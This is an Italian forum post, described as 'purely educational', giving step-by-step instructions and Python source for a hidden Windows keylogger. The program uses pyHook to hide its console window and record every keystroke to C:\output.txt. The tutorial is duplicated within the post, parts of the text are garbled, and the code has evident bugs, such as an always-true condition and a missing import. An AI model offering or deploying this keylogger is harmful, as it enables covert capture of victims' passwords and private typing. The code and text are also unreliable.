13-11-2011, 08:08 PM
Ecco una guida a scopo puramente didattico vedremo come creare un keylogger in Python. Di seguito i passi da seguire:
Scaricate ed installate i software necessari:
Python 2.6: http://www.python.org/
Pyhook per Python 2.6: pyhook.sourceforge.net
Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
Dal menu di avvio selezionate Python 2.6 > PythonWin per avviare l'editor
Dal menù selezionate File > New, quindi scegliete l'opzione Python Script e date l'OK?
Incollate il seguente sorgente o in alternativa scaricate direttamente il file da
questo link!
Salvate il file in c:\ come logger.py, quindi da PythonWin digitate CTRL+:R il keylogger verrà avviato in background e fino a quando rimarrà in esecuzione registrerà sul file C:\output.txt tutto ciò che verrà digitato sulla tastiera.
Guida by: Formattata da me ma potete trovarne simili nel web ma non uguali quindi si acettano iù:2
Scaricate ed installate i software necessari:
Python 2.6: http://www.python.org/
Pyhook per Python 2.6: pyhook.sourceforge.net
Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
Dal menu di avvio selezionate Python 2.6 > PythonWin per avviare l'editor
Dal menù selezionate File > New, quindi scegliete l'opzione Python Script e date l'OK?
Incollate il seguente sorgente o in alternativa scaricate direttamente il file da
questo link!
Codice:
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii != 0 or 8:
f=open('c:\output.txt','r')
buffer=f.read()
f.close()
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Salvate il file in c:\ come logger.py, quindi da PythonWin digitate CTRL+:R il keylogger verrà avviato in background e fino a quando rimarrà in esecuzione registrerà sul file C:\output.txt tutto ciò che verrà digitato sulla tastiera.
Guida by: Formattata da me ma potete trovarne simili nel web ma non uguali quindi si acettano iù:2